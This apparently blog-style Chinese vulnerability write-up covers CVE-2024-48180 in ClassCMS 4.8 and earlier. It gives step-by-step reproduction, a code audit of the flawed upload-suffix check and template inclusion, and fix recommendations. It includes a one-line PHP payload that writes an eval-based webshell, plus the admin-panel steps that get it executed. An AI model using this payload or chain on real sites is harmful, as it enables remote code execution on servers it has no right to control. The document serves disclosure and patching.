CVE-2024-48180
本文最后更新于 2026年4月16日 下午
参考链接
ClassCMS是中国ClassCMS开源的一款简单、灵活、安全、易于拓展的内容管理系统。
ClassCMS <=4.8版本存在安全漏洞。攻击者利用该漏洞可以执行 PHP 代码。
官网:https://classcms.com/ 现(2026)改名为1CMS-简单、灵活、安全、易于拓展的内容管理系统
测试环境:phpstudy - Apache2.4.39+sqlite+PHP 7.3.4
利用过程
登录后台
模型管理->字段

添加字段

选择文件上传

保存后点击修改

在字段配置里设置上传目录为/class/template文件名为test.php.txt

点击保存后在默认值处上传文件

文件为.txt内容为<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>' );?>

此时文件已经上传成功

点击页面

增加页面

这里页面路由和模板文件为我们上传的test.php.txt

点击保存后访问/test

webshell生成成功

代码审计

通过上传.php的回显定位到检测上传后缀的方法/class/cms/common.php::upload

经过strtolower处理后缀,array_pop只检测了最后一个.的后缀,所以上传test.php.txt成功
数组uploadExt设置了白名单
1 | |
定位设置上传目录的路由/admin/?do=admin:column:editPost

在/class/admin/column.php:admin_column的editPost()方法设置上传路径,没有限制,有权限即可
在/class/cms/cms.php:cms的nowView()方法中通过include()包含模板文件来生成页面

包含之前调用了include_template(),跟进

只检测文件名中是否存在.php,是则返回这个文件,不是则在文件名末尾拼接.php,而模板文件的目录限制为/class/template
通过上传test.php.txt到/class/template再包含这个文件生成页面访问达到rce
总结
漏洞根本原因是没有做上传目录的限制,导致目录可控+模板渲染功能文件名可控且没有做健全的文件上传防御。
修复建议:
- 限制文件上传目录
- 渲染时使用模板名而不是拼接成文件名传入